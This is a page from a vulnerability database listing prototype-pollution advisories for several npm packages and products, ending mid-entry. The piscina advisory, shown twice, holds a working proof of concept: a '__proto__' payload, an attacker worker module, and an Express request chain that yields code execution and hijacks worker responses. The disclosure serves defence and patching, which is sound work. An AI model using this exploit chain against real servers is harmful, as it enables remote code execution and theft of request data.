CWE-1321
AllowedImproperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Abstraction: Variant · Status: Incomplete
The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.
778 vulnerabilities reference this CWE, most recent first.
GHSA-X7Q7-FCHV-8H2J
Vulnerability from github – Published: 2026-05-14 20:55 – Updated: 2026-06-09 10:23Impact
Prototype pollution is possible when property paths contain __proto__/constructor/prototype. The property path must not be exposed as user input.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.2"
},
"package": {
"ecosystem": "npm",
"name": "@ranfdev/deepobj"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46509"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:55:24Z",
"nvd_published_at": "2026-05-28T19:16:39Z",
"severity": "HIGH"
},
"details": "### Impact\nPrototype pollution is possible when property paths contain `__proto__`/`constructor`/`prototype`. The property path must not be exposed as user input.",
"id": "GHSA-x7q7-fchv-8h2j",
"modified": "2026-06-09T10:23:26Z",
"published": "2026-05-14T20:55:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ranfdev/deepobj/security/advisories/GHSA-x7q7-fchv-8h2j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46509"
},
{
"type": "PACKAGE",
"url": "https://github.com/ranfdev/deepobj"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "@ranfdev/deepobj has a Prototype Pollution vulnerability"
}
GHSA-X9G3-XRWR-CWFG
Vulnerability from github – Published: 2026-06-18 13:05 – Updated: 2026-06-18 13:05Summary
piscina's constructor and run() paths read the filename option via plain member access:
// dist/index.js line 92 (constructor)
const filename = options.filename
? (0, common_1.maybeFileURLToPath)(options.filename)
: null;
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };
// dist/index.js line 616 (run())
run(task, options = kDefaultRunOptions) {
if (options === null || typeof options !== 'object') {
return Promise.reject(new TypeError('options must be an object'));
}
const { transferList, filename, name, signal } = options;
Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream — by any of the well-documented PP-source CVEs (lodash<4.17.13, qs<6.10.3, set-value<4.1.0, minimist<1.2.6, deepmerge<4.2.2, and others) — the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker.
Subtlety: calling pool.run(task) with no second arg uses kDefaultRunOptions which has filename: null as an OWN property — that path DOES NOT fire. The vulnerable shape is when the caller passes their own options object (commonly {signal: ac.signal} for abort support, {name: ...} for task labelling, etc.). These caller-built options objects inherit from Object.prototype unless the caller explicitly uses Object.create(null).
Impact
Two preconditions:
- Upstream PP-source somewhere in the process — common in transitive deps
- Attacker-controllable
.mjsat a known filesystem path — realistic via upload endpoints, /tmp races, predictable node_modules paths, or supply-chain
Once both fire:
- Every pool.run(task, opts) call across the entire process is hijacked
- Attacker's exported function is called with the legitimate caller's task data — attacker reads per-request app data
- Attacker controls the return value — caller receives worker_response.by = "ATTACKER-WORKER" and any other attacker-supplied response fields — attacker can poison return values to legitimate clients
- Hijack persists until process restart
Strictly worse than the analogous pino chain because piscina actually invokes the attacker function with caller data on every dispatch (pino imports the attacker module once and errors out).
Affected versions
Empirically verified vulnerable on piscina@5.1.4 (latest stable at time of disclosure). The bug shape is in the constructor's options.filename read at line 92 of dist/index.js, present since the worker-pool API stabilized — likely all 3.x / 4.x / 5.x affected.
Proof of concept
A) Minimal in-process PoC
import fs from 'fs';
// 1) Drop the attacker module (any path the victim process can read)
fs.writeFileSync('/tmp/atk.mjs', `
import fs from 'fs';
fs.writeFileSync('/tmp/PISCINA_RCE_SENTINEL', JSON.stringify({
rce: 'CONFIRMED', pid: process.pid, argv1: process.argv[1],
}));
export default function(arg) { return 'attacker-return-' + JSON.stringify(arg); }
`);
// 2) Upstream PP-source — pollute Object.prototype.filename
// (representative of CVE-2019-10744 lodash<4.17.13, CVE-2022-24999 qs<6.10.3,
// and ~30 historical PP-source CVEs)
const payload = JSON.parse('{"__proto__":{"filename":"/tmp/atk.mjs"}}');
function vulnMerge(t, s) {
for (const k of Object.keys(s)) {
if (s[k] !== null && typeof s[k] === 'object') {
if (!t[k]) t[k] = {};
vulnMerge(t[k], s[k]);
} else t[k] = s[k];
}
}
vulnMerge({}, payload);
// 3) Piscina with empty options inherits the polluted filename
const { Piscina } = await import('piscina');
const p = new Piscina({}); // inherits filename
const result = await p.run({}); // worker imports /tmp/atk.mjs
await p.destroy();
// 4) sentinel exists; attacker fn was called with task data
console.log(fs.readFileSync('/tmp/PISCINA_RCE_SENTINEL', 'utf8'));
console.log('attacker fn returned:', result);
// → "attacker-return-{}"
B) Full-stack HTTP chain (this is the realistic shape)
A correctly-initialized pool gets hijacked by attacker activity. Pool is created at server boot with a legitimate worker, then per-request handlers call pool.run(req.body, {signal: ac.signal}) — the standard abort-aware shape.
// === server.mjs ===
import express from 'express';
import { Piscina } from 'piscina';
// Vulnerable PP-source middleware (lodash<4.17.13 equivalent)
function vulnMerge(t, s) {
for (const k of Object.keys(s)) {
if (s[k] !== null && typeof s[k] === 'object') {
if (!t[k]) t[k] = {};
vulnMerge(t[k], s[k]);
} else t[k] = s[k];
}
}
// CORRECT pool init at boot
const pool = new Piscina({
filename: './valid-worker.mjs',
minThreads: 1, maxThreads: 2,
});
const config = {};
const app = express();
app.post('/api/settings', express.json(), (req, res) => {
vulnMerge(config, req.body); // PP source
res.json({ ok: true });
});
app.post('/api/process', express.json(), async (req, res) => {
const ac = new AbortController();
const result = await pool.run(req.body, { signal: ac.signal }); // <-- hijacked
res.json({ ok: true, worker_response: result });
});
app.listen(7755);
// === Attacker, 3 HTTP requests ===
// POST /upload → drops /tmp/atk.mjs
// POST /api/settings with body: {"__proto__":{"filename":"/tmp/atk.mjs"}}
// POST /api/process → pool.run() destructures filename via prototype
// → worker imports /tmp/atk.mjs
// → attacker fn called with req.body of THIS request
// → caller receives attacker-shaped response
Empirical observation on piscina@5.1.4 + Node 23.11.0:
- Pre-attack /api/process returns {by: 'valid-worker'}
- Cold-path /probe after PP source confirms ({}).filename is polluted process-wide
- Post-attack /api/process returns {by: 'ATTACKER-WORKER', processed: <caller's exfil data>}
- Sentinel file written from inside piscina/dist/worker.js with the worker process's uid + env access
Recommended fix
Minimal — own-property guard at both option-read sites:
// constructor (line 92)
const userFilename = Object.prototype.hasOwnProperty.call(options, 'filename')
? options.filename
: null;
const filename = userFilename
? (0, common_1.maybeFileURLToPath)(userFilename)
: null;
// run() (line 616)
const safeOpts = Object.create(null);
Object.assign(safeOpts, options); // copies own props only? — keeps shape
const { transferList, filename, name, signal } = safeOpts;
More idiomatic — use a null-prototype working object throughout this.options:
const safeOpts = Object.create(null);
Object.assign(safeOpts, kDefaultOptions, options);
this.options = safeOpts;
this.options.filename = safeOpts.filename
? (0, common_1.maybeFileURLToPath)(safeOpts.filename)
: null;
this.options.maxQueue = 0;
Either approach closes the gadget without breaking any legitimate caller pattern.
The pattern is the same as recommended for axios CVE-2026-44494 and the pino PSA filed earlier today. Cross-fix consideration: any other library you maintain that uses similar options.X member-access for worker / child-process / module-load operations is worth a quick audit.
Coordination
- Same maintainer as pino — you're already in security-triage mode for that PSA. Happy to coordinate timing / disclosure dates across both.
- Will not share publicly until GHSA published or 90 days.
- Please credit
ridingsaif you choose to credit a reporter.
How this was discovered
Generalized the pino disclosure's mechanism — any library that reads a string option via plain member access and dynamic-loads it (via import() / require() / new Worker()) is a candidate. Ran a sweep across 10 candidate libraries; piscina + fastify (via pino propagation) fired. Piscina is independently vulnerable through its own option-read sites, hence this separate disclosure.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.1.4"
},
"package": {
"ecosystem": "npm",
"name": "piscina"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-alpha.0"
},
{
"fixed": "5.2.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.9.2"
},
"package": {
"ecosystem": "npm",
"name": "piscina"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.9.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "piscina"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0-rc.1"
},
{
"fixed": "6.0.0-rc.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55388"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T13:05:11Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`piscina`\u0027s constructor and `run()` paths read the `filename` option via plain member access:\n\n```js\n// dist/index.js line 92 (constructor)\nconst filename = options.filename\n ? (0, common_1.maybeFileURLToPath)(options.filename)\n : null;\nthis.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };\n\n// dist/index.js line 616 (run())\nrun(task, options = kDefaultRunOptions) {\n if (options === null || typeof options !== \u0027object\u0027) {\n return Promise.reject(new TypeError(\u0027options must be an object\u0027));\n }\n const { transferList, filename, name, signal } = options;\n```\n\nBoth reads fall through the prototype chain when the caller\u0027s options object doesn\u0027t have `filename` as an own property. When `Object.prototype.filename` is polluted upstream \u2014 by any of the well-documented PP-source CVEs (lodash\u003c4.17.13, qs\u003c6.10.3, set-value\u003c4.1.0, minimist\u003c1.2.6, deepmerge\u003c4.2.2, and others) \u2014 the inherited value flows to `worker_threads.Worker` import and the attacker\u0027s `.mjs` runs in the worker.\n\n**Subtlety**: calling `pool.run(task)` with no second arg uses `kDefaultRunOptions` which has `filename: null` as an OWN property \u2014 that path DOES NOT fire. The vulnerable shape is when the caller passes their own options object (commonly `{signal: ac.signal}` for abort support, `{name: ...}` for task labelling, etc.). These caller-built options objects inherit from `Object.prototype` unless the caller explicitly uses `Object.create(null)`.\n\n## Impact\n\nTwo preconditions:\n\n1. **Upstream PP-source** somewhere in the process \u2014 common in transitive deps\n2. **Attacker-controllable `.mjs`** at a known filesystem path \u2014 realistic via upload endpoints, /tmp races, predictable node_modules paths, or supply-chain\n\nOnce both fire:\n- Every `pool.run(task, opts)` call across the entire process is hijacked\n- Attacker\u0027s exported function is called with the legitimate caller\u0027s task data \u2014 **attacker reads per-request app data**\n- Attacker controls the return value \u2014 caller receives `worker_response.by = \"ATTACKER-WORKER\"` and any other attacker-supplied response fields \u2014 **attacker can poison return values to legitimate clients**\n- Hijack persists until process restart\n\nStrictly worse than the analogous pino chain because piscina actually *invokes* the attacker function with caller data on every dispatch (pino imports the attacker module once and errors out).\n\n## Affected versions\n\nEmpirically verified vulnerable on `piscina@5.1.4` (latest stable at time of disclosure). The bug shape is in the constructor\u0027s `options.filename` read at line 92 of `dist/index.js`, present since the worker-pool API stabilized \u2014 likely all 3.x / 4.x / 5.x affected.\n\n## Proof of concept\n\n### A) Minimal in-process PoC\n\n```js\nimport fs from \u0027fs\u0027;\n\n// 1) Drop the attacker module (any path the victim process can read)\nfs.writeFileSync(\u0027/tmp/atk.mjs\u0027, `\n import fs from \u0027fs\u0027;\n fs.writeFileSync(\u0027/tmp/PISCINA_RCE_SENTINEL\u0027, JSON.stringify({\n rce: \u0027CONFIRMED\u0027, pid: process.pid, argv1: process.argv[1],\n }));\n export default function(arg) { return \u0027attacker-return-\u0027 + JSON.stringify(arg); }\n`);\n\n// 2) Upstream PP-source \u2014 pollute Object.prototype.filename\n// (representative of CVE-2019-10744 lodash\u003c4.17.13, CVE-2022-24999 qs\u003c6.10.3,\n// and ~30 historical PP-source CVEs)\nconst payload = JSON.parse(\u0027{\"__proto__\":{\"filename\":\"/tmp/atk.mjs\"}}\u0027);\nfunction vulnMerge(t, s) {\n for (const k of Object.keys(s)) {\n if (s[k] !== null \u0026\u0026 typeof s[k] === \u0027object\u0027) {\n if (!t[k]) t[k] = {};\n vulnMerge(t[k], s[k]);\n } else t[k] = s[k];\n }\n}\nvulnMerge({}, payload);\n\n// 3) Piscina with empty options inherits the polluted filename\nconst { Piscina } = await import(\u0027piscina\u0027);\nconst p = new Piscina({}); // inherits filename\nconst result = await p.run({}); // worker imports /tmp/atk.mjs\nawait p.destroy();\n\n// 4) sentinel exists; attacker fn was called with task data\nconsole.log(fs.readFileSync(\u0027/tmp/PISCINA_RCE_SENTINEL\u0027, \u0027utf8\u0027));\nconsole.log(\u0027attacker fn returned:\u0027, result);\n// \u2192 \"attacker-return-{}\"\n```\n\n### B) Full-stack HTTP chain (this is the realistic shape)\n\nA correctly-initialized pool gets hijacked by attacker activity. Pool is created at server boot with a legitimate worker, then per-request handlers call `pool.run(req.body, {signal: ac.signal})` \u2014 the standard abort-aware shape.\n\n```js\n// === server.mjs ===\nimport express from \u0027express\u0027;\nimport { Piscina } from \u0027piscina\u0027;\n\n// Vulnerable PP-source middleware (lodash\u003c4.17.13 equivalent)\nfunction vulnMerge(t, s) {\n for (const k of Object.keys(s)) {\n if (s[k] !== null \u0026\u0026 typeof s[k] === \u0027object\u0027) {\n if (!t[k]) t[k] = {};\n vulnMerge(t[k], s[k]);\n } else t[k] = s[k];\n }\n}\n\n// CORRECT pool init at boot\nconst pool = new Piscina({\n filename: \u0027./valid-worker.mjs\u0027,\n minThreads: 1, maxThreads: 2,\n});\n\nconst config = {};\nconst app = express();\n\napp.post(\u0027/api/settings\u0027, express.json(), (req, res) =\u003e {\n vulnMerge(config, req.body); // PP source\n res.json({ ok: true });\n});\n\napp.post(\u0027/api/process\u0027, express.json(), async (req, res) =\u003e {\n const ac = new AbortController();\n const result = await pool.run(req.body, { signal: ac.signal }); // \u003c-- hijacked\n res.json({ ok: true, worker_response: result });\n});\n\napp.listen(7755);\n\n// === Attacker, 3 HTTP requests ===\n// POST /upload \u2192 drops /tmp/atk.mjs\n// POST /api/settings with body: {\"__proto__\":{\"filename\":\"/tmp/atk.mjs\"}}\n// POST /api/process \u2192 pool.run() destructures filename via prototype\n// \u2192 worker imports /tmp/atk.mjs\n// \u2192 attacker fn called with req.body of THIS request\n// \u2192 caller receives attacker-shaped response\n```\n\nEmpirical observation on `piscina@5.1.4` + Node 23.11.0:\n- Pre-attack `/api/process` returns `{by: \u0027valid-worker\u0027}`\n- Cold-path `/probe` after PP source confirms `({}).filename` is polluted process-wide\n- Post-attack `/api/process` returns `{by: \u0027ATTACKER-WORKER\u0027, processed: \u003ccaller\u0027s exfil data\u003e}`\n- Sentinel file written from inside `piscina/dist/worker.js` with the worker process\u0027s uid + env access\n\n## Recommended fix\n\nMinimal \u2014 own-property guard at both option-read sites:\n\n```js\n// constructor (line 92)\nconst userFilename = Object.prototype.hasOwnProperty.call(options, \u0027filename\u0027)\n ? options.filename\n : null;\nconst filename = userFilename\n ? (0, common_1.maybeFileURLToPath)(userFilename)\n : null;\n\n// run() (line 616)\nconst safeOpts = Object.create(null);\nObject.assign(safeOpts, options); // copies own props only? \u2014 keeps shape\nconst { transferList, filename, name, signal } = safeOpts;\n```\n\nMore idiomatic \u2014 use a null-prototype working object throughout `this.options`:\n\n```js\nconst safeOpts = Object.create(null);\nObject.assign(safeOpts, kDefaultOptions, options);\nthis.options = safeOpts;\nthis.options.filename = safeOpts.filename\n ? (0, common_1.maybeFileURLToPath)(safeOpts.filename)\n : null;\nthis.options.maxQueue = 0;\n```\n\nEither approach closes the gadget without breaking any legitimate caller pattern.\n\nThe pattern is the same as recommended for axios CVE-2026-44494 and the pino PSA filed earlier today. Cross-fix consideration: any other library you maintain that uses similar `options.X` member-access for worker / child-process / module-load operations is worth a quick audit.\n\n## Coordination\n\n- Same maintainer as pino \u2014 you\u0027re already in security-triage mode for that PSA. Happy to coordinate timing / disclosure dates across both.\n- Will not share publicly until GHSA published or 90 days.\n- Please credit `ridingsa` if you choose to credit a reporter.\n\n## How this was discovered\n\nGeneralized the pino disclosure\u0027s mechanism \u2014 any library that reads a string option via plain member access and dynamic-loads it (via `import()` / `require()` / `new Worker()`) is a candidate. Ran a sweep across 10 candidate libraries; piscina + fastify (via pino propagation) fired. Piscina is independently vulnerable through its own option-read sites, hence this separate disclosure.",
"id": "GHSA-x9g3-xrwr-cwfg",
"modified": "2026-06-18T13:05:11Z",
"published": "2026-06-18T13:05:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/piscinajs/piscina/security/advisories/GHSA-x9g3-xrwr-cwfg"
},
{
"type": "PACKAGE",
"url": "https://github.com/piscinajs/piscina"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "piscina: Prototype Pollution Gadget \u2192 RCE via inherited options.filename"
}
GHSA-X9VF-53Q3-CVX6
Vulnerability from github – Published: 2026-02-10 18:30 – Updated: 2026-02-11 19:09CASL Ability, versions 2.4.0 through 6.7.4, contains a prototype pollution vulnerability.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.7.4"
},
"package": {
"ecosystem": "npm",
"name": "@casl/ability"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "6.7.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-1774"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-11T19:09:05Z",
"nvd_published_at": "2026-02-10T16:16:10Z",
"severity": "CRITICAL"
},
"details": "CASL Ability, versions 2.4.0 through 6.7.4, contains a prototype pollution vulnerability.",
"id": "GHSA-x9vf-53q3-cvx6",
"modified": "2026-02-11T19:09:05Z",
"published": "2026-02-10T18:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1774"
},
{
"type": "WEB",
"url": "https://github.com/stalniy/casl/pull/1093"
},
{
"type": "WEB",
"url": "https://github.com/stalniy/casl/commit/39da920ec1dfadf3655e28bd0389e960ac6871f4"
},
{
"type": "WEB",
"url": "https://cwe.mitre.org/data/definitions/1321.html"
},
{
"type": "WEB",
"url": "https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution"
},
{
"type": "PACKAGE",
"url": "https://github.com/stalniy/casl"
},
{
"type": "WEB",
"url": "https://github.com/stalniy/casl/tree/master/packages/casl-ability"
},
{
"type": "WEB",
"url": "https://www.kb.cert.org/vuls/id/458422"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "CASL Ability is Vulnerable to Prototype Pollution"
}
GHSA-XCG2-9PP4-J82X
Vulnerability from github – Published: 2025-10-23 20:31 – Updated: 2025-10-24 19:28Impact
Prototype pollution vulnerability in merge(). If application code calls rollbar.configure() with untrusted input, prototype pollution is possible.
Patches
Fixed in 2.26.5 and 3.0.0-beta5.
Workarounds
Ensure that values passed to rollbar.configure() do not contain untrusted input.
References
Fixed in https://github.com/rollbar/rollbar.js/pull/1394 (2.26.x) and https://github.com/rollbar/rollbar.js/pull/1390 (3.x)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.26.4"
},
"package": {
"ecosystem": "npm",
"name": "rollbar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.26.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.0-beta4"
},
"package": {
"ecosystem": "npm",
"name": "rollbar"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0-alpha1"
},
{
"fixed": "3.0.0-beta5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-62517"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-23T20:31:30Z",
"nvd_published_at": "2025-10-23T20:15:41Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nPrototype pollution vulnerability in merge(). If application code calls `rollbar.configure()` with untrusted input, prototype pollution is possible.\n\n### Patches\n\nFixed in 2.26.5 and 3.0.0-beta5.\n\n### Workarounds\n\nEnsure that values passed to `rollbar.configure()` do not contain untrusted input.\n\n### References\n\nFixed in https://github.com/rollbar/rollbar.js/pull/1394 (2.26.x) and https://github.com/rollbar/rollbar.js/pull/1390 (3.x)",
"id": "GHSA-xcg2-9pp4-j82x",
"modified": "2025-10-24T19:28:46Z",
"published": "2025-10-23T20:31:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rollbar/rollbar.js/security/advisories/GHSA-xcg2-9pp4-j82x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62517"
},
{
"type": "WEB",
"url": "https://github.com/rollbar/rollbar.js/pull/1390"
},
{
"type": "WEB",
"url": "https://github.com/rollbar/rollbar.js/pull/1394"
},
{
"type": "WEB",
"url": "https://github.com/rollbar/rollbar.js/commit/61032fe6c208b71e249514800808a54bcb8cb8bb"
},
{
"type": "WEB",
"url": "https://github.com/rollbar/rollbar.js/commit/d717def8b68f4a947975d0aebb729869cdb2d343"
},
{
"type": "PACKAGE",
"url": "https://github.com/rollbar/rollbar.js"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "rollbar vulnerable to Prototype Pollution in merge()"
}
GHSA-XCVV-84J5-JW9H
Vulnerability from github – Published: 2018-07-26 15:12 – Updated: 2023-03-01 01:46Versions of assign-deep before 0.4.7 are vulnerable to prototype pollution via merging functions.
Recommendation
Update to version 0.4.7 or later.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "assign-deep"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-3720"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-471"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T22:03:01Z",
"nvd_published_at": "2018-06-07T02:29:00Z",
"severity": "HIGH"
},
"details": "Versions of `assign-deep` before 0.4.7 are vulnerable to prototype pollution via merging functions.\n\n\n## Recommendation\n\nUpdate to version 0.4.7 or later.",
"id": "GHSA-xcvv-84j5-jw9h",
"modified": "2023-03-01T01:46:49Z",
"published": "2018-07-26T15:12:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-3720"
},
{
"type": "WEB",
"url": "https://github.com/jonschlinkert/assign-deep/commit/19953a8c089b0328c470acaaaf6accdfcb34da11"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/310707"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-xcvv-84j5-jw9h"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/579"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype Pollution in assign-deep"
}
GHSA-XFQM-J7PC-XRFC
Vulnerability from github – Published: 2025-09-24 21:30 – Updated: 2025-09-25 16:46The messageformat package, an implementation of the Unicode MessageFormat 2 specification for JavaScript, is vulnerable to prototype pollution due to improper handling of message key paths in versions prior to 2.3.0. The flaw arises when processing nested message keys containing special characters (e.g., proto ), which can lead to unintended modification of the JavaScript Object prototype. This vulnerability may allow a remote attacker to inject properties into the global object prototype via specially crafted message input, potentially causing denial of service or other undefined behaviors in applications using the affected component.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 2.3.0"
},
"package": {
"ecosystem": "npm",
"name": "messageformat"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.0-beta.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-57349"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-25T16:46:42Z",
"nvd_published_at": "2025-09-24T19:15:40Z",
"severity": "LOW"
},
"details": "The messageformat package, an implementation of the Unicode MessageFormat 2 specification for JavaScript, is vulnerable to prototype pollution due to improper handling of message key paths in versions prior to 2.3.0. The flaw arises when processing nested message keys containing special characters (e.g., __proto__ ), which can lead to unintended modification of the JavaScript Object prototype. This vulnerability may allow a remote attacker to inject properties into the global object prototype via specially crafted message input, potentially causing denial of service or other undefined behaviors in applications using the affected component.",
"id": "GHSA-xfqm-j7pc-xrfc",
"modified": "2025-09-25T16:46:42Z",
"published": "2025-09-24T21:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57349"
},
{
"type": "WEB",
"url": "https://github.com/messageformat/messageformat/issues/452"
},
{
"type": "PACKAGE",
"url": "https://github.com/messageformat/messageformat"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "messageformat has a prototype pollution vulnerability"
}
GHSA-XG68-CHX2-253G
Vulnerability from github – Published: 2021-05-24 19:53 – Updated: 2025-08-14 22:15Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') in jquery-deparam allows a malicious user to inject properties into Object.prototype.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "jquery-deparam"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-20087"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-20T21:58:11Z",
"nvd_published_at": "2021-04-23T18:15:00Z",
"severity": "HIGH"
},
"details": "Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027) in jquery-deparam allows a malicious user to inject properties into Object.prototype.",
"id": "GHSA-xg68-chx2-253g",
"modified": "2025-08-14T22:15:23Z",
"published": "2021-05-24T19:53:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20087"
},
{
"type": "WEB",
"url": "https://github.com/BlackFan/client-side-prototype-pollution/blob/master/pp/jquery-deparam.md"
},
{
"type": "WEB",
"url": "https://github.com/RetireJS/retire.js/blob/6da45fcb6a3425e55ee8181b2ac35168879bf086/repository/jsrepository-master.json#L824-L842"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype Pollution in jquery-deparam"
}
GHSA-XH38-HRRG-8CJV
Vulnerability from github – Published: 2024-01-05 18:30 – Updated: 2024-01-05 18:30A prototype pollution vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow users to override existing attributes with ones that have incompatible type, which may lead to a crash via a network.
We have already fixed the vulnerability in the following versions: QTS 5.1.3.2578 build 20231110 and later QuTS hero h5.1.3.2578 build 20231110 and later
{
"affected": [],
"aliases": [
"CVE-2023-39296"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-05T17:15:09Z",
"severity": "HIGH"
},
"details": "A prototype pollution vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow users to override existing attributes with ones that have incompatible type, which may lead to a crash via a network.\n\nWe have already fixed the vulnerability in the following versions:\nQTS 5.1.3.2578 build 20231110 and later\nQuTS hero h5.1.3.2578 build 20231110 and later\n",
"id": "GHSA-xh38-hrrg-8cjv",
"modified": "2024-01-05T18:30:25Z",
"published": "2024-01-05T18:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39296"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/qsa-23-64"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XJ6R-WGR5-8RXC
Vulnerability from github – Published: 2025-02-12 18:31 – Updated: 2025-02-21 12:32In Progress® Telerik® Kendo UI for Vue versions v2.4.0 through v6.0.1, an attacker can introduce or modify properties within the global prototype chain which can result in denial of service or command injection.
{
"affected": [],
"aliases": [
"CVE-2024-11628"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-12T17:15:22Z",
"severity": "MODERATE"
},
"details": "In Progress\u00ae Telerik\u00ae Kendo UI for Vue versions v2.4.0 through v6.0.1, an attacker can introduce or modify properties within the global prototype chain which can result in denial of service or command injection.",
"id": "GHSA-xj6r-wgr5-8rxc",
"modified": "2025-02-21T12:32:11Z",
"published": "2025-02-12T18:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11628"
},
{
"type": "WEB",
